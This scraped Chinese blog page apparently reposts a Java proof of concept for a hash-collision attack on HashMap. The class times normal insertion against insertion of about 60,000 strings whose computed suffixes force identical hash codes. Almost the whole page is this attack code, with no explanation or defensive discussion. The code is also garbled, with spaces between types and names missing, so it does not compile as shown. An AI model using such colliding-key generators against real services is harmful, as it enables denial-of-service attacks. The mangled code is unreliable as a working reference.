Hash Collision攻击的代码(java)

来源:互联网 发布:人均读书 知乎 编辑:程序博客网 时间:2024/05/29 17:10
Hash Collision攻击的代码(java)
package com.wzucxd;import java.math.BigDecimal;import java.util.HashMap;import java.util.Map;public class HashCollision_ {private static final inti1= 48;private static final inti2= 8;private static final inti3= 31;private static final inti4= 60000;private static final longl1= i3 - 1;private static final longl2= 2l << 32;private static final BigDecimald1= new BigDecimal(31);private static final BigDecimald2= d1.pow(i2);private static final BigDecimald3= new BigDecimal(l2);public static void main(String[] args) {Map<String, Integer> map = null;//普通long startTime = System.currentTimeMillis();map = new HashMap<String, Integer>();for (int i = 0; i <= i4; i++) {String s = String.valueOf(i);map.put(s, 0);}long endTime = System.currentTimeMillis();System.out.println(String.format("hash normal %s s", (endTime - startTime) / 1000.0));//攻击startTime = System.currentTimeMillis();map = new HashMap<String, Integer>();for (int i = 0; i <= i4; i++) {String s = String.valueOf(i);while (s.length() < 5) {s = "0" + s;}int hs = s.hashCode();char[] r = g(hs, 0);s = s.concat(new String(r));map.put(s, 0);}endTime = System.currentTimeMillis();System.out.println(String.format("hash collision %s s", (endTime - startTime) / 1000.0));}private static char[] g(int s, int t) {long hx1 = l1 * s + i1;BigDecimal hx2 = d2.multiply(new BigDecimal(hx1)).subtract(new BigDecimal(i1));BigDecimal hx3 = hx2.divide(new BigDecimal(l1));BigDecimal hx4 = new BigDecimal(t).subtract(hx3);BigDecimal b = hx4.divideToIntegralValue(d3.multiply(d3));long l = hx4.subtract(b).longValue();l = (l + l2) % l2;if (l < 0)l += l2;char[] c = new char[i2];int p = 0;while (l != 0) {c[p++] = (char) (l % (i3) + i1);l = l / i3;}int f = i2 - p;char[] cs = new char[i2];int i = 0;while (i < f) {cs[i++] = (char) i1;}while (i < i2) {cs[i] = c[p - i + f - 1];++i;}return cs;}}

原创粉丝点击